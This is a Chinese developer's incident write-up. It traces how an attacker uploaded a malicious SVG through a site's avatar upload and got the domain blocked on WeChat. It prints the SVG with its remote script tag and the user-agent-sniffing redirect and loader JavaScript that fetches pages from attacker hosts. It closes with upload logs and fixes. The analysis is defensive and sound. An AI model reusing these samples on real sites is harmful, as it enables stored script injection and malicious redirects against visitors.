先看个热闹
突然一天在微信上打不开我的域名了,被封了
然后我要疯,我没有这个svg啊,虽然系统中有图片上传的地方,但是也不会用到这个svg啊
想想,可能有人通过我的系统免费上传了这个svg然后在其他地方用了这个免费的资源流量。
下载这个svg,文本编辑器打开源码
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="3.5in" height="1in">
<script type="text/javascript" xlink:href="https://ookwqc.com/t"></script>
</svg>
打开https://ookwqc.com/t域名
(function() {
var ua = navigator.userAgent.toLowerCase();
try { document.getElementsByTagName("body")[0].outerHTML = "<center>Loading...</center>"; } catch (e) {};
if (/micromessenger/.test(ua)) {
if (top != window || !document.body) {
top.location.href = 'http://vcover.yayagushi.com/30004981820190320222503uc.jpg?now=1554189153';
} else {
var a = document.createElement('a');
a.href = 'http://vcover.yayagushi.com/30004981820190320222503uc.jpg?now=1554189153';
a.rel = 'noreferrer';
a.click();
}
}
})()
上面一段代码写的很有意思,如果是微信浏览器打开是一张图片,否则是另外一张图片。
但是————不要被后缀伪装给迷惑了。
查询域名备案信息,哇塞备案了差不多500个域名,真流弊
打开微信那张照片
页面空白,但是作为开发人员,打开F12,哇塞
这个地址只是一个以jpg结尾的svg文件请求地址。
其中https://05ez.com/t又去获取下一个地址
不死不休,继续追踪http://rf9maug.5ltj6b9d.tw/05d.html?now=1554192363
F12照看一下
<!DOCTYPE html>
<html lang="en"><head>
<meta charset="UTF-8"><title></title></head><body>
<script src="https://05ez.com/d"></script>
</body></html>
var _shareUrl = 'https://05ez.com';
var hm_c = 'a71a8a3c027d8f8703df08f83e95ef39';
function _getParam(name) {
return location.href.match(new RegExp('[?&]' + name + '=([^?&#]+)', 'i')) ? decodeURIComponent(RegExp.$1) : '';
}
var ua = navigator.userAgent.toLowerCase();
if (/micromessenger/.test(ua)) {
var _lay = document.createElement('div');
_lay.setAttribute('style', '100%;height:2048px;font-size:1.4em;position:absolute;' +
'background-color:white;z-index:99999999;left:0;top:0;');
_lay.innerHTML = '<div style="color:black;text-align:center;font-size:1.3em">loading...</div>';
if (document.body) document.body.appendChild(_lay);
document.title = "正在打开...";
var xhr = new XMLHttpRequest;
var html = null;
function getParam(name, url) {
var r = new RegExp('(?|#|&)' + name + '=(.*?)(#|&|$)');
var m = (url || location.href).match(r);
return (m ? m[2] : '')
}
function render() {
var a = document.open("text/html", "replace");
a.write(html);
a.close()
}
xhr.onload = function () {
html = xhr.responseText;
var delay = 0;
if (delay > 0) setTimeout("render()", delay * 1000); else render()
};
xhr.open("GET", "https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/index.html?t=" + Date.now(), !0);
xhr.send();
}
打开上面的页面
https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>...</title>
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0,viewport-fit=cover" />
<meta name="format-detection" content="telephone=no">
<meta name="applicable-device" content="mobile">
<link rel="stylesheet" href="//lifescore.oss-cn-qingdao.aliyuncs.com/hb_v2/js/d.css">
<script>
window.focusLocation = {};
</script>
</head>
<body>
<script src="//res.wx.qq.com/open/js/jweixin-1.0.0.js"></script>
<script src="//lifescore.oss-cn-qingdao.aliyuncs.com/hb_v2/js/jquery.min.js"></script>
<script src="//lifescore.oss-cn-qingdao.aliyuncs.com/hb_v2/js/core.js"></script>
<script src="https://05ez.com/case/info?var=window.data"></script>
<script>
// M.loadJS('/js/i_d.js?v=' + (+new Date()));
M.loadJS('https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/js/i_d.js?v=' + (+new Date()));
</script>
</body>
</html>
瞅一眼那个JS
https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/js/i_d.js
好了找到地方了,多么喜庆。
找到问题就解决吧
再来找找这个svg文件上传的日志
2019-03-10T13:08:35.866304Z {"Accept-Encoding":"gzip","Content-Length":"992","Content-Type":"multipart/form-data; boundary=------------------------78ff25155c5e6156","IP":"127.0.0.1","User-Agent":"Go-http-client/1.1","X-Forwarded-For":"112.96.135.XXX157.255.155.XXX"X-Real-Ip":"157.255.155.XXX"X-Reqid":"DQYAAMIr4LjhmooV","X-Scheme":"http"} {"key":"XXX.svg","hash":"e5gx5xekD","bucket":"","fsize":252}
解决方案
1)限制系统中头像上传的文件类型为jpg/png (app端会裁剪照片,这2个类型够用)
2)如果使用第三方对象存储,建议修改秘钥
3)在nginx或者slb上限制该恶意ip,并设置SLB黑名单